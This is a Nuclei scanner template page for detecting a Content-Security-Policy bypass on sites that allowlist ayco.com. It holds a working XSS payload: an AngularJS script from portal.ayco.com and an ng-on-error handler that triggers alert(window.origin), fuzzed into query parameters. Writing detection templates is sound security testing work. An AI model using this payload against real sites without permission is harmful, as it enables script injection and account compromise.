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Content-Security-Policy Bypass - Ayco Portal

ID: ayco-portal-csp-bypass

Severity: medium

Author: renniepak,DhiyaneshDK

Tags: xss,csp-bypass,ayco-portal

id: ayco-portal-csp-bypass
info:
name: Content-Security-Policy Bypass - Ayco Portal
author: renniepak,DhiyaneshDK
severity: medium
reference:
- https://github.com/renniepak/CSPBypass/blob/main/data.tsv
metadata:
verified: true
tags: xss,csp-bypass,ayco-portal
flow: http(1) && headless(1)
http:
- method: GET
path:
- "{{BaseURL}}"
matchers:
- type: word
part: header
words:
- "Content-Security-Policy"
- "ayco.com"
condition: and
internal: true
headless:
- steps:
- action: navigate
args:
url: "{{BaseURL}}"
- action: waitdialog
name: ayco_portal_csp_xss
args:
max-duration: 5s
payloads:
injection:
- '<script src="https://portal.ayco.com/publicBundles/angularjs"></script><div ng-app><img src=x ng-on-error="window=$event.target.ownerDocument.defaultView;window.alert(window.origin);">'
fuzzing:
- part: query
type: replace
mode: single
fuzz:
- "{{url_encode(injection)}}"
matchers:
- type: dsl
dsl:
- "ayco_portal_csp_xss == true"
# digest: 4b0a0048304602210085cfb2a17f5c10a897eec0a00aa837a5151002f014b2f9cbdffaf3a86245b612022100c239c9971ae6dc74d48264096074f82d2dc89f13d27a43241f184d0af252272e:922c64590222798bb761d5b6d8e72950

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "dast/vulnerabilities/xss/csp-bypass/ayco-portal-csp-bypass.yaml"

View on Github